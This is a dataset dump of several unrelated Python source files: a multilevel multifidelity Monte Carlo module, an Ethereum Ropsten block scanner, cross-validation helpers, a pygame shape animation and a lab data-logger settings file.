\"\"\"\n Multilevel Multifidelity Monte Carlo routine for preliminary run. Also checks the viability of MLMC for each model fidelity.\n\n nhfsamples: initial number of samples for MLMF calculations\n nf: array of meshgrid sizes being considered\n no_out: number of outputs\n no_parallel_processes: number of different parallel runs of the model\n high_fidelity: function which runs the high fidelity model\n low_fidelity: function which runs the low fidelity model\n sample_fn: function used to generate random number\n logfile: root name of file where outputs are stored\n hf_path: directory where high fidelity model is run\n lf_path: directory where low fidelity model is run\n L0: minimum level\n increase_corr: flag indicating whether to maximize the correlation between the two models\n \"\"\"\n\n # initialize lists\n rho_list = []\n rho_no_corr_list = []\n r_list = []\n gamma_list = []\n omega_list = []\n variance0 = []\n variance1 = []\n cost0 = []\n cost1 = []\n values0_diff_list = []\n values1_diff_list = []\n\n for k in range(no_out):\n # initialize logfiles\n logfile_hf = logfile + \"_\" + str(k) + \"_hf.txt\"\n logfile_lf = logfile + \"_\" + str(k) + \"_lf.txt\"\n\n write(logfile_hf, \"\\n\")\n write(logfile_hf, \"**********************************************************\\n\")\n write(logfile_hf, \"*** Convergence tests, kurtosis, telescoping sum check for high fidelity ***\\n\")\n write(logfile_hf, \"**********************************************************\\n\")\n write(logfile_hf, \"\\n l ave(Pf-Pc) ave(Pf) var(Pf-Pc) var(Pf) cost\")\n write(logfile_hf, \" kurtosis check \\n-------------------------\")\n write(logfile_hf, \"--------------------------------------------------\\n\")\n\n write(logfile_lf, \"\\n\")\n write(logfile_lf, \"**********************************************************\\n\")\n write(logfile_lf, \"*** Convergence tests, kurtosis, telescoping sum check for low fidelity ***\\n\")\n write(logfile_lf, \"**********************************************************\\n\")\n write(logfile_lf, \"\\n l ave(Pf-Pc) ave(Pf) var(Pf-Pc) var(Pf) cost\")\n write(logfile_lf, \" kurtosis check \\n-------------------------\")\n write(logfile_lf, \"--------------------------------------------------\\n\")\n\n for j in nf:\n\n hf_samples = [sample_fn() for _ in range(nhfsamples)]\n\n meshsize = j\n\n # run the preliminary MLMC algorithm for the high fidelity model and low fidelity model\n if L0 is None:\n L0 = min(nf)/2 # if L0 none then assume the minimum level is the coarsest mesh in the simulation\n values0_l, values0_l_1, values1_l, values1_l_1, time_hf, time_lf = _parallel_mlmf(low_fidelity, high_fidelity, hf_samples, meshsize, L0,\n no_parallel_processes, nhfsamples, hf_path, lf_path)\n\n rho_k_list = []\n rho_no_corr_k = []\n r_k_list = []\n gamma_k_list = []\n variance0_k_list = []\n variance1_k_list = []\n values0_diff_k_list = []\n values1_diff_k_list = []\n\n for k in range(len(values0_l[0])):\n\n # calculate P_l - P_(l-1) for high fidelity model\n values0_l_k = [x[k] for x in values0_l]\n values0_l_1_k = [x[k] for x in values0_l_1]\n\n values0_diff = [values0_l_k[i] - values0_l_1_k[i] for i in range(len(values0_l_k))]\n\n # verification check and kurtosis calculation for MLMC with high fidelity model\n if meshsize == min(nf):\n check = 0\n kurt = 0.0\n else:\n check = abs(np.mean(values0_diff) + np.mean(values0_l_1_k) -\n np.mean(values0_l_k))/(3.0*(np.sqrt(np.var(values0_diff)) +\n np.sqrt(np.var(values0_l_1_k)) +\n np.sqrt(np.var(values0_l_k))))\n kurt = kurtosis(values0_diff)\n\n logfile_hf = logfile + \"_\" + str(k) + \"_hf.txt\"\n logfile_lf = logfile + \"_\" + str(k) + \"_lf.txt\"\n\n write(logfile_hf, \"%2d %8.4e %8.4e %8.4e %8.4e %8.4e %8.4e %8.4e \\n\" %\n (j, np.mean(values0_diff), np.mean(values0_l_k), np.var(values0_diff), np.var(values0_l_k), time_hf, kurt, check))\n\n if low_fidelity is not None:\n if meshsize > min(nf):\n values1_l_1_k = [x[0][k] for x in values1_l_1]\n else:\n values1_l_1_k = [x[k] for x in values1_l_1]\n values1_l_k = [x[0][k] for x in values1_l]\n\n # calculate gamma which optimizes the correlation between the high and low fidelity models\n if meshsize > min(nf) and increase_corr:\n cov_LF = np.cov(values1_l_k, values1_l_1_k, ddof = 0)\n cov_HF_l_1 = np.cov(values0_diff, values1_l_1_k, ddof = 0)\n cov_HF_l = np.cov(values0_diff, values1_l_k, ddof = 0)\n\n gamma = ((cov_HF_l_1[0,1]*cov_LF[0,1])-(cov_LF[1,1]*cov_HF_l[0,1]))/((cov_LF[0,0]*cov_HF_l_1[0,1])-(cov_HF_l[0,1]*cov_LF[0,1]))\n else:\n # if increased correlation is not desired then gamma is set to 1\n gamma = 1\n\n # reweight the fine values from the low fidelity model in order to maximize correlation\n values1_diff_circ = [gamma*values1_l_k[i] - values1_l_1_k[i] for i in range(len(values1_l_k))]\n values1_no_corr = [values1_l_k[i] - values1_l_1_k[i] for i in range(len(values1_l_k))]\n\n # verification check and kurtosis calculation for MLMC with low fidelity model\n if meshsize == min(nf):\n check = 0\n kurt = 0.0\n else:\n check = abs(np.mean(values1_diff_circ) + np.mean(values1_l_1_k) -\n gamma*np.mean(values1_l_k))/(3.0*(np.sqrt(np.var(values1_diff_circ)) +\n np.sqrt(np.var(values1_l_1_k)) +\n gamma*np.sqrt(np.var(values1_l_k))))\n kurt = kurtosis(values1_diff_circ)\n\n write(logfile_lf, \"%2d %8.4e %8.4e %8.4e %8.4e %8.4e %8.4e %8.4e \\n\" %\n (j, np.mean(values1_diff_circ), gamma*np.mean(values1_l_k), np.var(values1_diff_circ), (gamma**2)*np.var(values1_l_k), time_lf, kurt, check))\n\n cov_circ = np.cov(values0_diff, values1_diff_circ, ddof = 0)\n\n # calculate new correlation between models\n rho_circ = cov_circ[0, 1]/np.sqrt(np.var(values0_diff)*np.var(values1_diff_circ))\n rho_no_corr = np.cov(values0_diff, values1_no_corr, ddof = 0)[0,1]/np.sqrt(np.var(values0_diff)*np.var(values1_no_corr))\n # computation cost ratio\n omega = time_hf/time_lf\n # calculate optimum ratio for N_LF (see later function)\n r = -1 + np.sqrt(omega*rho_circ**2/(1-rho_circ**2))\n\n values1_diff_k_list.append(values1_diff_circ)\n variance1_k_list.append(np.var(values1_diff_circ))\n else:\n omega = 0\n r = 0\n gamma = 0\n rho_circ = None\n values1_diff_k_list = None\n variance1_k_list = None\n \n r_k_list.append(r)\n rho_k_list.append(rho_circ)\n rho_no_corr_k.append(rho_no_corr)\n gamma_k_list.append(gamma)\n variance0_k_list.append(np.var(values0_diff))\n values0_diff_k_list.append(values0_diff)\n\n # record outputs\n r_list.append(r_k_list)\n rho_list.append(rho_k_list)\n rho_no_corr_list.append(rho_no_corr_k)\n omega_list.append(omega)\n gamma_list.append(gamma_k_list)\n variance0.append(variance0_k_list)\n variance1.append(variance1_k_list)\n cost0.append(time_hf)\n cost1.append(time_lf)\n values0_diff_list.append(values0_diff_k_list)\n values1_diff_list.append(values1_diff_k_list)\n\n print('omega')\n print(omega_list)\n print('rho no corr')\n print(rho_no_corr_list)\n\n return r_list, rho_list, gamma_list, variance0, variance1, cost0, cost1, values0_diff_list, values1_diff_list\n\n\ndef mlmf_opt_samples(nf, N_HF, N_LF, high_fidelity, low_fidelity, samples_calc, sample_fn,\n values0_diff_list, values1_diff_list, gamma_list, no_parallel_processes,\n logfile_name, hf_path, lf_path, no_out, L0 = None):\n\n \"\"\"\n MLMF routine for optimum number of samples.\n\n nf: array of meshgrid sizes being considered\n N_HF: optimum number of samples for high fidelity model\n N_LF: optimum number of extra samples required for low fidelity model\n high_fidelity: function which runs the high fidelity model\n low_fidelity: function which runs the low fidelity model\n samples_calc: initial number of samples for MLMF calculations\n sample_fn: function used to generate random number\n values0_diff_list: high fidelity model output from prelim run\n values1_diff_list: low fidelity model output for prelim run\n gamma_list: optimum value to optimize correlation between models\n no_parallel_processes: number of different parallel runs of the model\n logfile_name: root name of file where outputs are stored\n hf_path: directory where high fidelity model is run\n lf_path: directory where low_fidelity model is run\n no_out: number of outputs\n L0: minimum level\n \"\"\"\n\n # record the optimum number of results for the high and low fidelity models\n write(logfile_name, 'N_HF max')\n write(logfile_name, \"\\n\")\n write(logfile_name, str([np.int(np.ceil(i)) for i in N_HF]))\n write(logfile_name, \"\\n\")\n write(logfile_name, 'N_LF max')\n write(logfile_name, \"\\n\")\n write(logfile_name, str(N_LF))\n write(logfile_name, \"\\n\")\n\n total_time = 0\n\n values0_diff_opt = []\n values1_diff_opt = []\n valueslf_diff_opt = []\n\n for j in range(len(nf)):\n\n write(logfile_name, str(j))\n\n if np.ceil(N_HF[j]) <= samples_calc[j]:\n # if the optimum number is less than the number of results used in the preliminary run,\n # take the optimum number of results from the preliminary run rather than re-running the models\n n_samples = np.int(np.ceil(N_HF[j]))\n\n values0_diff_k = []\n values1_diff_k = []\n \n if n_samples > 0:\n for k in range(no_out):\n values0_diff_k.append(values0_diff_list[j][k][:n_samples])\n values1_diff_k.append(values1_diff_list[j][k][:n_samples])\n else:\n print('here')\n for k in range(no_out):\n values0_diff_k.append([])\n values1_diff_k.append([])\n\n values0_diff_opt.append(values0_diff_k)\n values1_diff_opt.append(values1_diff_k)\n time_hf = 0; time_lf = 0\n else:\n # if optimum number is more than the number of results used in the preliminary run\n # use all the results from the preliminary run and then generate the rest of the results to\n # reach the optimum number\n\n diff_nj = np.int(np.ceil(N_HF[j]) - samples_calc[j])\n\n hf_samples = [sample_fn() for _ in range(diff_nj)]\n\n meshsize = nf[j]\n\n # high fidelity and low fidelity\n if L0 is None:\n L0 = min(nf)/2 # if L0 none then assume the minimum level is the coarsest mesh in the simulation\n \n values0_l, values0_l_1, values1_l, values1_l_1, time_hf, time_lf = _parallel_mlmf(low_fidelity, high_fidelity, hf_samples, meshsize, L0,\n no_parallel_processes, diff_nj, hf_path, lf_path)\n\n values0_diff_k = []\n values1_diff_k = []\n\n for k in range(no_out):\n values0_l_k = [x[k] for x in values0_l]\n values0_l_1_k = [x[k] for x in values0_l_1]\n values0_diff_int_k = [values0_l_k[i] - values0_l_1_k[i] for i in range(len(values0_l_k))]\n\n values1_l_k = [x[0][k] for x in values1_l]\n\n if meshsize > nf[0]:\n values1_l_1_k = [x[0][k] for x in values1_l_1]\n else:\n values1_l_1_k = [x[k] for x in values1_l_1]\n gamma = [x[k] for x in gamma_list]\n values1_diff_int_k = [gamma[j]*values1_l_k[i] - values1_l_1_k[i] for i in range(len(values1_l_k))]\n\n # combine the preliminary run results with the extra results generated\n values0_diff = np.concatenate([values0_diff_list[j][k], values0_diff_int_k])\n values1_diff = np.concatenate([values1_diff_list[j][k], values1_diff_int_k])\n\n values0_diff_k.append(values0_diff)\n values1_diff_k.append(values1_diff)\n\n values0_diff_opt.append(values0_diff_k)\n values1_diff_opt.append(values1_diff_k)\n\n n_samples = samples_calc[j]\n\n # next we generate the extra low fidelity results as required by the MLMF algorithm\n if np.ceil(N_LF[j]) <= samples_calc[j] - n_samples:\n # if there are still results left over from the preliminary runs use them here\n newlf_samples = np.int(np.ceil(N_LF[j]))\n values_lf_diff_k = []\n for k in range(no_out):\n values_lf_diff = values1_diff_list[j][k][n_samples:n_samples+newlf_samples]\n values_lf_diff_k.append(values_lf_diff)\n valueslf_diff_opt.append(values_lf_diff_k)\n time_lf_2 = 0\n else:\n # if there are not enough results from the preliminary run left over then generate more results\n # until the optimum number is reached\n\n meshsize = nf[j]\n diff_lf_nj = np.int(np.ceil(N_LF[j]-(samples_calc[j]-n_samples)))\n lf_samples = [sample_fn() for _ in range(diff_lf_nj)]\n\n if L0 is None:\n L0 = min(nf)/2 # if L0 none then assume the minimum level is the coarsest mesh in the simulation \n \n # for this section we only need to generate results from the low fidelity model\n tmp0, tmp1, values1_lf_l, values1_lf_l_1, time_hf_2, time_lf_2 = _parallel_mlmf(low_fidelity, None, lf_samples, meshsize, L0,\n no_parallel_processes, diff_lf_nj, hf_path, lf_path)\n\n values_lf_diff_k = []\n\n for k in range(no_out):\n values1_lf_l_k = [x[0][k] for x in values1_lf_l]\n if meshsize > nf[0]:\n values1_lf_l_1_k = [x[0][k] for x in values1_lf_l_1]\n else:\n values1_lf_l_1_k = [x[k] for x in values1_lf_l_1] \n\n gamma = [x[k] for x in gamma_list]\n values_lf_diff_int = [gamma[j]*values1_lf_l_k[i] - values1_lf_l_1_k[i] for i in range(len(values1_lf_l_k))]\n\n # combine the results from the preliminary run and the new results that have been generated\n values_lf_diff = np.concatenate([values_lf_diff_int, values1_diff_list[j][k][n_samples:]])\n values_lf_diff_k.append(values_lf_diff)\n\n valueslf_diff_opt.append(values_lf_diff_k)\n\n write(logfile_name, \"timelf: \")\n write(logfile_name, str(time_lf))\n write(logfile_name, \" \")\n write(logfile_name, \"timehf: \")\n write(logfile_name, str(time_hf))\n write(logfile_name, \" \")\n write(logfile_name, \"timelf_2: \")\n write(logfile_name, str(time_lf_2))\n write(logfile_name, \"\\n\")\n\n total_time += time_lf + time_hf + time_lf_2\n\n write(logfile_name, \"Total time: \")\n write(logfile_name, str(total_time))\n\n return values0_diff_opt, values1_diff_opt, valueslf_diff_opt\n\n\ndef mlmf_opt_samples_single(nf, N_HF, N_HF_list, high_fidelity, samples_calc, sample_fn,\n values0_diff_list, no_parallel_processes,\n logfile_name, hf_path, no_out, fidelity_flag):\n\n \"\"\"\n MLMC routine for optimum number of samples for single fidelity function.\n\n nf: array of meshgrid sizes being considered\n N_HF: optimum number of samples for high fidelity model (max over all outputs)\n N_HF_list: optimum number of samples for all outputs\n high_fidelity: function which runs the high fidelity model\n samples_calc: initial number of samples for MLMF calculations\n sample_fn: function used to generate random number\n values0_diff_list: high fidelity model output from prelim run\n no_parallel_processes: number of different parallel runs of the model\n logfile_name: root name of file where outputs are stored\n hf_path: directory where high fidelity model is run\n no_out: number of outputs\n fidelity_flag: flag which sets whether fidelity function is high or low\n \"\"\"\n\n # record the optimum number of results for the model\n write(logfile_name, 'N_HF max')\n write(logfile_name, \"\\n\")\n write(logfile_name, str([np.int(np.ceil(i)) for i in N_HF]))\n write(logfile_name, \"\\n\")\n\n total_time = 0\n\n values0_diff_opt = []\n\n\n for j in range(len(nf)):\n\n write(logfile_name, str(j))\n\n if np.ceil(N_HF[j]) <= samples_calc[j]:\n # if the optimum number is less than the number of results used in the preliminary run,\n # take the optimum number of results from the preliminary run rather than re-running the models\n n_samples = np.int(np.ceil(N_HF[j]))\n\n values0_diff_k = []\n\n for k in range(no_out):\n values0_diff_k.append(values0_diff_list[j][k][:n_samples])\n\n values0_diff_opt.append(values0_diff_k)\n time_hf = 0\n else:\n # if optimum number is more than the number of results used in the preliminary run\n # use all the results from the preliminary run and then generate the rest of the results to\n # reach the optimum number\n\n diff_nj = np.int(np.ceil(N_HF[j]) - samples_calc[j])\n\n hf_samples = [sample_fn() for _ in range(diff_nj)]\n\n meshsize = nf[j]\n\n # high fidelity and low fidelity\n values0_l, values0_l_1, tmp_l, tmp_l_1, time_hf, tmp_time_lf = _parallel_mlmf(None, high_fidelity, hf_samples, meshsize, min(nf)/2,\n no_parallel_processes, diff_nj, hf_path, None)\n\n values0_diff_k = []\n\n for k in range(no_out):\n if fidelity_flag == 'low':\n values0_l_k = [x[0][k] for x in values0_l]\n if meshsize > nf[0]:\n values0_l_1_k = [x[0][k] for x in values0_l_1]\n else:\n values0_l_1_k = [x[k] for x in values0_l_1]\n elif fidelity_flag == 'high':\n values0_l_k = [x[k] for x in values0_l]\n values0_l_1_k = [x[k] for x in values0_l_1]\n else:\n print('Error: must assign fidelity flag')\n return None\n \n values0_diff_int_k = [values0_l_k[i] - values0_l_1_k[i] for i in range(len(values0_l_k))]\n\n # combine the preliminary run results with the extra results generated\n values0_diff = np.concatenate([values0_diff_list[j][k], values0_diff_int_k])\n\n values0_diff_k.append(values0_diff)\n\n values0_diff_opt.append(values0_diff_k)\n\n n_samples = samples_calc[j]\n\n write(logfile_name, \"timehf: \")\n write(logfile_name, str(time_hf))\n write(logfile_name, \" \")\n total_time += time_hf\n\n write(logfile_name, \"Total time: \")\n write(logfile_name, str(total_time))\n\n Y_list = []\n for k in range(no_out):\n\n Y_l = 0\n Y_k_list = []\n\n N_HF = N_HF_list[k]\n\n write(logfile_name, 'N_HF')\n write(logfile_name, \"\\n\")\n write(logfile_name, str([np.int(np.ceil(i)) for i in N_HF]))\n\n values0_diff = [x[k] for x in values0_diff_opt]\n\n #MLMF estimator\n for j in range(len(N_HF)):\n N_HF_j = np.int(np.ceil(N_HF[j]))\n Y_l += np.mean(values0_diff[j][:N_HF_j])\n Y_k_list.append(Y_l)\n\n write(logfile_name, \"\\n\")\n write(logfile_name, 'Y_l')\n write(logfile_name, \"\\n\")\n write(logfile_name, str(Y_k_list))\n write(logfile_name, \"\\n\")\n\n # record expected value\n write(logfile_name, 'Expected value')\n write(logfile_name, \"\\n\")\n write(logfile_name, str(Y_k_list[-1]))\n write(logfile_name, \"\\n\")\n\n Y_list.append(Y_k_list)\n\n return Y_list\n\ndef combine_results(values0_diff_orig, values1_diff_orig, values0_diff_opt, values1_diff_opt,\n valueslf_diff_opt, rho_list, N_HF_list, N_LF_list, logfile_name, no_out):\n\n \"\"\"\n Combine output of mlmf_opt_sample to create MLMF estimator\n \n values0_diff_orig: high fidelity model output from prelim run\n values1_diff_orig: low fidelity model output from prelim run\n values0_diff_opt: high fidelity model output from optimum number of sample run\n values1_diff_opt: low fidelity model output from optimum number of sample run (N_HF)\n valueslf_diff_opt: extra low fidelity model output \n for expectation estimator from optimum number of sample run (N_LF)\n rho_list: correlation between each model\n N_HF_list: number of optimum high fidelity samples\n N_LF_list: number of optimum extra low fidelity samples\n logfile_name: root name of file where outputs are stored\n no_out: number of outputs\n \"\"\"\n\n Y_list = []\n for k in range(no_out):\n\n Y_l = 0\n Y_k_list = []\n\n N_HF = N_HF_list[k]\n N_LF = N_LF_list[k]\n\n write(logfile_name, 'N_HF')\n write(logfile_name, \"\\n\")\n write(logfile_name, str([np.int(np.ceil(i)) for i in N_HF]))\n write(logfile_name, \"\\n\")\n\n write(logfile_name, 'N_LF')\n write(logfile_name, \"\\n\")\n write(logfile_name, str([np.int(np.ceil(i)) for i in N_LF]))\n write(logfile_name, \"\\n\")\n\n rho = [x[k] for x in rho_list]\n\n values0_diff = [x[k] for x in values0_diff_opt]\n values1_diff = [x[k] for x in values1_diff_opt]\n\n # calculate the variances\n variance0 = [np.var(varlist) for varlist in [x[k] for x in values0_diff_orig]]\n variance1 = [np.var(varlist) for varlist in [x[k] for x in values1_diff_orig]]\n\n valueslf_diff = [x[k] for x in valueslf_diff_opt]\n\n # optimum value to combine low fidelity and high fidelity model\n alpha = [-rho[j]*np.sqrt(variance0[j]/variance1[j]) for j in range(len(rho))]\n\n #MLMF estimator\n for j in range(len(rho)):\n N_HF_j = np.int(np.ceil(N_HF[j]))\n N_LF_j = np.int(np.ceil(N_LF[j]))\n if N_LF_j < 0:\n new_lf = N_HF_j + N_LF_j\n print(new_lf)\n if new_lf > 0:\n Y_l += np.mean(values0_diff[j][:N_HF_j]) + alpha[j]*(np.mean(values1_diff[j][:N_HF_j]) - np.mean(values1_diff[j][:new_lf]))\n else:\n print('warning')\n Y_l += np.mean(values0_diff[j][:N_HF_j])+ alpha[j]*(np.mean(values1_diff[j][:N_HF_j]))\n else:\n Y_l += np.mean(values0_diff[j][:N_HF_j]) + alpha[j]*(np.mean(values1_diff[j][:N_HF_j]) - np.concatenate([values1_diff[j][:N_HF_j], valueslf_diff[j][:N_LF_j]]).mean())\n Y_k_list.append(Y_l)\n\n write(logfile_name, \"\\n\")\n write(logfile_name, 'Y_l')\n write(logfile_name, \"\\n\")\n write(logfile_name, str(Y_k_list))\n write(logfile_name, \"\\n\")\n\n # record expected value\n write(logfile_name, 'Expected value')\n write(logfile_name, \"\\n\")\n write(logfile_name, str(Y_k_list[-1]))\n write(logfile_name, \"\\n\")\n\n Y_list.append(Y_k_list)\n\n return Y_list\n","sub_path":"Carrier-Greenspan/mlmf_fns_multi.py","file_name":"mlmf_fns_multi.py","file_ext":"py","file_size_in_byte":29439,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"622401262","text":"from web3 import Web3\n\nw3 = Web3(Web3.HTTPProvider(\"https://ropsten.infura.io/\"))\n\n\nblock_height = w3.eth.blockNumber\n\nrichest_contract = None\nrichest_balance = 0\n\n# list of contracts, element structure [address, input_data_from_contract_creation, number_of_function_calls]\ncontracts = []\n\nfor current_height in range(0, block_height + 1):\n num_transactions = w3.eth.getBlockTransactionCount(current_height)\n\n if num_transactions < 1:\n continue\n\n for current_transaction in range(0, num_transactions):\n\n transaction = w3.eth.getTransactionByBlock(current_height, current_transaction)\n tx_input = transaction['input']\n\n # contract creation and contract call must have bigger input data;\n # 10 because a function call must have a least 8 hex digits + 2 for '0x'\n if len(tx_input) < 10:\n continue\n\n # we do not need the hex identifier\n tx_input = tx_input[2:]\n\n tx_receipt = w3.eth.getTransactionReceipt(transaction['hash'])\n contract_address = tx_receipt['contractAddress']\n tx_to = transaction['to']\n\n if contract_address is not None and (transaction['to'] == '0x0' or transaction['to'] is None):\n\n contracts.append([contract_address, tx_input, 0])\n cur_balance = w3.eth.getBalance(contract_address)\n\n if richest_contract is None or cur_balance > richest_balance:\n richest_balance = cur_balance\n richest_contract = contract_address\n else:\n for c in contracts:\n if c[0] == tx_to and tx_input[:8] in c[1]:\n c[2] = c[2] + 1\n break\n\nif richest_contract is None:\n print(\"No contracts found\")\nelse:\n print(f\"Contract {richest_contract} has with {richest_balance} the most ETH.\")\n\nmost_used_contract = None\nnumber_of_calls = 0\nfor c in contracts:\n if most_used_contract is None:\n most_used_contract = c[0]\n number_of_calls = c[2]\n elif number_of_calls < c[2]:\n number_of_calls = c[2]\n most_used_contract = c[1]\n\nif most_used_contract is None:\n print(\"No contracts found\")\nelse:\n print(f\"Contract {most_used_contract} had with {number_of_calls} the most function calls\")\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2246,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"110015055","text":"import numpy as np\nimport inspect\n\n\ndef build_k_indices(length, k_fold):\n \"\"\"build k indices for k-fold.\"\"\"\n indices = np.random.permutation(length)\n return np.array_split(indices, k_fold)\n\n\ndef k_fold_iterator(indices):\n for k in range(len(indices)):\n test = indices[k]\n train = np.concatenate(np.delete(indices, k, axis=0))\n yield (test, train)\n\n\ndef normalize(tx, mean, std):\n return (tx - mean) / std\n \n\ndef prediction_accuracy(y, tx, w):\n y_pred = tx @ w\n y_pred[y_pred <= 0.5] = 0\n y_pred[y_pred > 0.5] = 1\n return sum(y == y_pred) / len(y)\n\n\ndef polynomial_expansion(tx, degree):\n powers = [np.power(tx, i) for i in range(2, degree)]\n return [tx] + powers\n\n\ndef feature_expansion(tx):\n return np.concatenate(polynomial_expansion(tx, 11),axis=1)\n\n\ndef cross_validation_step(y, tx, test_indices, train_indices, train_function):\n test_tx, test_y = tx[test_indices], y[test_indices]\n train_tx, train_y = tx[train_indices], y[train_indices]\n \n mean, std = np.mean(train_tx, axis=0), np.std(train_tx, axis=0)\n train_tx = normalize(train_tx, mean, std)\n test_tx = normalize(test_tx, mean, std)\n \n train_tx = feature_expansion(train_tx)\n test_tx = feature_expansion(test_tx)\n \n # train model on training data\n w, _ = train_function(train_y, train_tx)\n # calculate the prediction accuracy for test data\n return prediction_accuracy(test_y, test_tx, w)\n\n\ndef cross_validation(y, tx, k_indices, train_function):\n accs = np.array(\n [\n cross_validation_step(y, tx, test, train, train_function)\n for test, train in k_fold_iterator(k_indices)\n ]\n )\n return [np.mean(accs), np.std(accs)]\n\n\ndef nested_cross_validation(\n y, tx, k_indices, hyperparams, train_function, num_sub_splits=4\n):\n scores = np.empty(len(k_indices))\n for (k, (test, trainval)) in enumerate(k_fold_iterator(k_indices)):\n inner_folds = build_k_indices(len(trainval), num_sub_splits)\n # Each column is a hyperparameter, each row a subfold\n results = np.array(\n [\n [\n cross_validation_step(\n y, tx, val, train, lambda y, tx: train_function(y, tx, param)\n )\n for param in hyperparams\n ]\n for val, train in k_fold_iterator(inner_folds)\n ]\n )\n average_by_hyperparam = np.mean(results, axis=0)\n best_idx = np.argmax(average_by_hyperparam)\n best_acc = np.max(average_by_hyperparam)\n best_hyperparam = hyperparams[best_idx]\n print(f\"Best hyperparam for iteration {k}: {best_hyperparam}, acc: {best_acc}\")\n scores[k] = cross_validation_step(\n y, tx, test, trainval, lambda y, tx: train_function(y, tx, best_hyperparam)\n )\n print()\n return [np.mean(scores), np.std(scores)]\n","sub_path":"projects/project1/scripts/validation.py","file_name":"validation.py","file_ext":"py","file_size_in_byte":2925,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"582519590","text":"# Filename: lab4_animatedimage.py\r\n# Author: Dinoyan Ganeshalingtam\r\n# Date created: October 14, 2014\r\n# Description: This program animates a 5 different shapes with 5 different colours. \r\n\r\n# ----1) import commands--------------------------------------------------------\r\nimport pygame #import a library of functions called \"pygame\"\r\n\r\n#----2) Definitions: Variables and Constants------------------------------------\r\n# Constants: BLUE, RED, WHITE\r\nBLUE = (0,0,255)\r\nRED = (255,0,0)\r\nWHITE = (255,255,255)\r\nGOLD = (238,201,0)\r\nGRAY = (135,135,135)\r\nGREEN = (0,255,0)\r\n# Variables: ballXCoordinate, rectYCoordinate, screen, screenWidth, screenHeight\r\nballXCoordinate = 0\r\nrectYCoordinate = 0\r\npolygon1Xpoint = 100\r\npolygon2Xpoint = 0\r\npolygon3Xpoint = 200\r\nellipse1Ypoint = 10\r\nellipse2Ypoint = 20\r\nline2Xpoint = 50\r\nline2Ypoint = 30\r\nscreenWidth = 640\r\nscreenHeight = 480\r\n\r\n#----3) pygame commands --------------------------------------------------------\r\n#3a) Setup pygame & screen commands\r\npygame.init() # initialize the pygame engine\r\nscreen = pygame.display.set_mode([screenWidth,screenHeight]) # set screen size\r\n\r\n#3d) Diaplay screen until the end of the anumation \r\nwhile ballXCoordinate < screenWidth:\r\n #3d) Colour/draw, etc. commands onto temporary buffer\r\n screen.fill(WHITE) # Clear buffer screen (make in white)\r\n pygame.draw.rect(screen, BLUE, [0,rectYCoordinate, 300, 20]) # Draw a solid rectangle\r\n pygame.draw.circle(screen, RED, [ballXCoordinate,400],10) # draw red circle onto buffer\r\n pygame.draw.polygon(screen, GREEN, [[polygon1Xpoint, 100], [polygon2Xpoint, 200], [polygon3Xpoint, 200]], 5) # Draw a polygon\r\n pygame.draw.ellipse(screen, GOLD, [300, ellipse1Ypoint, 80, ellipse2Ypoint], 4) # Draw a ellipse\r\n pygame.draw.line(screen, GRAY, [0, 0], [line2Xpoint,line2Ypoint], 5) # Draw a line \r\n #3c) Display the temporary buffer to the visible screen \r\n pygame.display.flip()\r\n \r\n #increasing X & Y coordinates\r\n ballXCoordinate = ballXCoordinate + 1\r\n rectYCoordinate = rectYCoordinate + 1\r\n polygon1Xpoint = polygon1Xpoint + 1\r\n polygon2Xpoint = polygon2Xpoint + 1\r\n polygon3Xpoint = polygon3Xpoint + 1\r\n ellipse1Ypoint = ellipse1Ypoint + 1\r\n ellipse2Ypoint = ellipse2Ypoint + 1\r\n line2Xpoint = line2Xpoint + 1\r\n line2Ypoint = line2Ypoint + 1\r\n \r\n \r\n\r\n\r\n ","sub_path":"lab4c_animatedShapest.py","file_name":"lab4c_animatedShapest.py","file_ext":"py","file_size_in_byte":2348,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"59510301","text":"from bokeh.models import ColumnDataSource\n\nglobal source\nsource = ColumnDataSource()\n\n# file='C:\\\\Users\\\\Public\\\\Documents\\\\snowball_data\\\\Logged Values\\\\logged-data.csv'\nfile = 'C:\\\\Users\\\\Snowball\\\\Desktop\\\\Data Logger\\\\logged-data_from_debugging.txt'\n\nLOG_EVERY_x_seconds = 1\n\ndebug = True # True\nplotting = True # variable tells the logger whether or not the values are plotted live\n\nMaxigauge1_COM_Port = 'COM12' # 'COM5'\nLakeShore_COM_Port = 'COM4'\nAIMTTI_1705_Mutlimeter_COM_Port = 'COM14'\n\ninputs = {\n 'channeltron_voltage': \"Dev1/ai10\",\n 'channeltron_current': \"Dev1/ai3\",\n 'electron_energy_voltage': \"Dev1/ai0\",\n 'electron_energy_current': \"Dev1/ai9\",\n 'sector_minus_voltage': \"Dev1/ai2\",\n 'sector_minus_current': \"Dev1/ai11\",\n 'sector_plus_voltage': \"Dev1/ai8\",\n 'sector_plus_current': \"Dev1/ai10\",\n 'filament_voltage': \"Dev1/ai4\",\n 'filament_current': \"Dev1/ai13\"\n}\ncolumn_number = {\n 'channeltron_voltage': 0,\n 'channeltron_current': 1,\n 'electron_energy_voltage': 2,\n 'electron_energy_current': 3,\n 'sector_minus_voltage': 4,\n 'sector_minus_current': 5,\n 'sector_plus_voltage': 6,\n 'sector_plus_current': 7,\n 'filament_voltage': 8,\n 'filament_current': 9\n}\nconversion_factor = {\n 'channeltron_voltage': 6000 / 10,\n 'channeltron_current': 2 / 10,\n 'electron_energy_voltage': 600 / 10,\n 'electron_energy_current': 20 / 10,\n 'sector_minus_voltage': 6000 / 10,\n 'sector_minus_current': 10 / 10,\n 'sector_plus_voltage': 6000 / 10,\n 'sector_plus_current': 10 / 10,\n 'filament_voltage': 16 / 10,\n 'filament_current': 6 / 10\n}\n\nni_inputs = (inputs, column_number, conversion_factor)\n","sub_path":"settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":1682,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"15869416","text":"import json\r\nimport array\r\n\r\ndebugg=0\r\n\r\nclass Model:\r\n l_size=0\r\n f_size=0\r\n ll_weights=None\r\n fl_weights=None\r\n \r\n ave_ll_weights=None#for averaged\r\n ave_fl_weights=None#for averaged\r\n\r\n\r\ndef gen_graph(filename):\r\n for line in 